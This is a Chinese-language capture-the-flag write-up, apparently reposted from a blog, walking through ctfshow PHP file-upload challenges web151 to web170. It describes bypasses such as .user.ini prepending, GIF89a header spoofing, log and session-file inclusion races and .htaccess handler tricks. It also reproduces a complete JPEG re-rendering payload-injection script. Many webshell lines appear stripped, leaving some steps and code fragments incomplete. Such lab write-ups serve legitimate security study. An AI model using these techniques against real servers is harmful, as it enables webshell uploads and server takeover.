千家信息网

php中如何进行ctfshow文件上传

发表于:2024-11-25 作者:千家信息网编辑
千家信息网最后更新 2024年11月25日,今天就跟大家聊聊有关php中如何进行ctfshow文件上传,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。web151~前端验证直接抓包修改后缀
千家信息网最后更新 2024年11月25日php中如何进行ctfshow文件上传

今天就跟大家聊聊有关php中如何进行ctfshow文件上传,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

web151~前端验证

直接抓包修改后缀。

web152~前端+MIME

直接抓包修改后缀。

web153~.user.ini

https://www.php.net/manual/en/ini.list.php

使用条件:

(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式

(2)上传目录下要有可执行的php文件

使用方式:

  1. 上传一张图片马

  2. 上传 .user.iniauto_prepend_file=ma.png

  3. 访问.user.ini同级目录中的一个php文件。

本题目中有 /upload/index.php,所以可以操作。

题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)

web154~文件内容过滤php

上来测试发现是黑名单过滤的。

我们还可以上传 .user.ini,并且upload/index.php真好存在。

那么我们上传一张图片马,

发现被拦截了。

文件上传失败,失败原因:文件内容不合规

猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。

那么我们呢绕过就可以了。

          # 不可   # 不可用

web155~文件内容过滤php

测试正常的 png 图片可以上传。

对图片内容过滤php

绕过

步骤跟上关一样。。。。。

web156~过滤 php, [

测试,又是文件内容过滤了 php.

紧接着发现事情没这么简单,还过滤了[,这给传参造成了一定的困难。

但是我们可以直接

web157~过滤分号

nginx/1.18.0 (Ubuntu) PHP/5.6.40

文件名黑名单

经测试,对文件内容过滤了 php[{;

上传.user.ini

我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>结束标志。

上传 2.png

访问upload/index.php

web158~过滤分号

和web157解法相同。

web159~过滤括号

经测试,对文件内容过滤了 php[{;(

问题不大,不能用函数了。

那我们用反引号代替system()

web160~过滤反引号,包含日志

经测试,对文件内容过滤了 php[{;(、 反引号 、空格。

好家伙。包含日志文件,但发现 log也被过滤了。那就进行拼接。

上传.user.ini后,在上传 ma.png

看到页面回显,确实包含了。

想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E

还是再UA出比较好。

修改UA User-Agent:

然后成功getshell.

web161~检测文件头

发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。

上传 GIF89a成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。

其余操作和上官相同。

web162~包含session文件

测试,这关也检测了文件头,但是同时过滤掉了 点 .

我们可以看到这样绕过

.user.ini :

GIF89aauto_prepend_file=ma

但上传ma文件,同样不能包含日志文件。这时候就需要包含session文件了。

这里还过滤了flag

上传 ma

GIF89a

那么我们就开始构造,session文件竞争包含。

构造

一直上传,内容为写后门到 a.php

然后一直包含session文件。

可以看到成功包含,那么此时我们去upload/a.php,成功访问,并测试后门成功写入。

可以参考文件包含篇:

还有 利用session.upload_progress进行文件包含

web163~包含session文件

过滤还是前面的过滤。

操作和上关一样的。

这里有upload/index.php,所以我们其实可以直接利用此文件包含Session文件。

上传.user.ini:

GIF89aauto_prepend_file=/tmp/sess_fllag

然后就开始session文件竞争上传和包含。

成功。

这是题目源码:

 0){        $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);}else{    $filename = $_FILES["file"]["name"];    $filesize = ($_FILES["file"]["size"] / 1024);    if($filesize>1024){            $ret = array("code"=>1,"msg"=>"文件超过1024KB");    }else{            if($_FILES['file']['type'] == 'image/png'){            $arr = pathinfo($filename);            $ext_suffix = $arr['extension'];            if($ext_suffix!='php'){                $content = file_get_contents($_FILES["file"]["tmp_name"]);                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);                }else{                    $ret = array("code"=>2,"msg"=>"文件类型不合规");                }            }else{                $ret = array("code"=>2,"msg"=>"文件类型不合规");            }                                }else{                    $ret = array("code"=>2,"msg"=>"文件类型不合规");            }                }}function check($str){    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);}function clearUpload(){    system("mv ./upload/index.php ./index.php_");    system("rm -rf ./upload/*");    system("mv ./index.php_ ./upload/index.php");}sleep(2);clearUpload();echo json_encode($ret);

web164~png二次渲染

测试了一下。

{"code":3,"msg":"只允许上传png格式图片"}

白名单验证。

找了一张测试可以成功上传png图片。

还发现

download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png

可以随意修改图片又会被检测,故做图片马。

但是一般的图片马还绕不过,应该是做了二次渲染。

所以可以上传二次渲染绕过的图片,在做文件包含即可。

生成脚本:

   */$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>

web165~jpg二次渲染

测试只能上传 jpg.

{"code":3,"msg":"只允许上传jpg格式图片"}

也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。

那么就用到 jpg二次渲染绕过了。

拿脚本

In case of successful injection you will get a specially crafted image, which should be uploaded again.    Since the most straightforward injection method is used, the following problems can occur:    1) After the second processing the injected data may become partially corrupted.    2) The jpg_payload.php script outputs "Something's wrong".    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.    Sergey Bobrov @Black2Fan.    See also:    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/    */    $miniPayload = "";    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {        die('php-gd is not installed');    }    if(!isset($argv[1])) {        die('php jpg_payload.php ');    }    set_error_handler("custom_error_handler");    for($pad = 0; $pad < 1024; $pad++) {        $nullbytePayloadSize = $pad;        $dis = new DataInputStream($argv[1]);        $outStream = file_get_contents($argv[1]);        $extraBytes = 0;        $correctImage = TRUE;        if($dis->readShort() != 0xFFD8) {            die('Incorrect SOI marker');        }        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {            $marker = $dis->readByte();            $size = $dis->readShort() - 2;            $dis->skip($size);            if($marker === 0xDA) {                $startPos = $dis->seek();                $outStreamTmp =                     substr($outStream, 0, $startPos) .                     $miniPayload .                     str_repeat("\0",$nullbytePayloadSize) .                     substr($outStream, $startPos);                checkImage('_'.$argv[1], $outStreamTmp, TRUE);                if($extraBytes !== 0) {                    while((!$dis->eof())) {                        if($dis->readByte() === 0xFF) {                            if($dis->readByte !== 0x00) {                                break;                            }                        }                    }                    $stopPos = $dis->seek() - 2;                    $imageStreamSize = $stopPos - $startPos;                    $outStream =                         substr($outStream, 0, $startPos) .                         $miniPayload .                         substr(                            str_repeat("\0",$nullbytePayloadSize).                                substr($outStream, $startPos, $imageStreamSize),                            0,                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                                 substr($outStream, $stopPos);                } elseif($correctImage) {                    $outStream = $outStreamTmp;                } else {                    break;                }                if(checkImage('payload_'.$argv[1], $outStream)) {                    die('Success!');                } else {                    break;                }            }        }    }    unlink('payload_'.$argv[1]);    die('Something\'s wrong');    function checkImage($filename, $data, $unlink = FALSE) {        global $correctImage;        file_put_contents($filename, $data);        $correctImage = TRUE;        imagecreatefromjpeg($filename);        if($unlink)            unlink($filename);        return $correctImage;    }    function custom_error_handler($errno, $errstr, $errfile, $errline) {        global $extraBytes, $correctImage;        $correctImage = FALSE;        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {            if(isset($m[1])) {                $extraBytes = (int)$m[1];            }        }    }    class DataInputStream {        private $binData;        private $order;        private $size;        public function __construct($filename, $order = false, $fromString = false) {            $this->binData = '';            $this->order = $order;            if(!$fromString) {                if(!file_exists($filename) || !is_file($filename))                    die('File not exists ['.$filename.']');                $this->binData = file_get_contents($filename);            } else {                $this->binData = $filename;            }            $this->size = strlen($this->binData);        }        public function seek() {            return ($this->size - strlen($this->binData));        }        public function skip($skip) {            $this->binData = substr($this->binData, $skip);        }        public function readByte() {            if($this->eof()) {                die('End Of File');            }            $byte = substr($this->binData, 0, 1);            $this->binData = substr($this->binData, 1);            return ord($byte);        }        public function readShort() {            if(strlen($this->binData) < 2) {                die('End Of File');            }            $short = substr($this->binData, 0, 2);            $this->binData = substr($this->binData, 2);            if($this->order) {                $short = (ord($short[1]) << 8) + ord($short[0]);            } else {                $short = (ord($short[0]) << 8) + ord($short[1]);            }            return $short;        }        public function eof() {            return !$this->binData||(strlen($this->binData) === 0);        }    }?>

先上传一张图片,然后下载下来,然后利用脚本生成。

php jpg_payload.php 

再继续上传,

发现这张图片不行,再来一张。

成功。

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

web166~zip文件上传包含

尝试多次,发现zip 文件可上传。

但是上传直接编辑后门一句话的压缩包。

web167~.htaccess

但这只是前端限制。

可以看到,只允许jpg上传。

抓包测试了一下,是黑名单。

开局有个提示httpd

测试apache解析漏洞没解析。

测试.htaccess成功。

SetHandler application/x-httpd-php

然后上传带有马的 1.jpg即可。

但是这里浏览器响应回来的是 nginx呀,坑。

web168~后门免杀

基础免杀

测试,会检测_GET_POST

可抓包后修改直接上传php文件。

反引号

反引号达到命令执行的效果。

把源码拔下来

 0){        $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);}else{    $filename = $_FILES["file"]["name"];    $filesize = ($_FILES["file"]["size"] / 1024);    if($filesize>1024){            $ret = array("code"=>1,"msg"=>"文件超过1024KB");    }else{            if($_FILES['file']['type'] == 'image/png'){            $str = file_get_contents($_FILES["file"]["tmp_name"]);            if(check($str)===0){                move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);                $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);            }            }else{                    $ret = array("code"=>2,"msg"=>"文件类型不合规");            }                }}function check($str){    return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);}echo json_encode($ret);

本来还想着包含一波日志。

字符拼接
$_REQUEST
数学函数

这里

其他函数构造

web169~.user.ini包含日志

测试发现

抓包需修改Content-Type: image/png

文件名后缀随意。

看看文件内容过滤了啥 <> ? 等等。

只能进行 .user.ini日志文件包含了。

思路: 上传 .user.ini

auto_prepend_file=/var/log/nginx/access.log

然后随便上传个php文件即可。

然后改UA为一句话即可。

web170

测试上传zip,抓包修改,后缀为php, MIME类型为image/png.

包含.user.ini

日志文件/var/log/nginx/access.log

看完上述内容,你们对php中如何进行ctfshow文件上传有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

0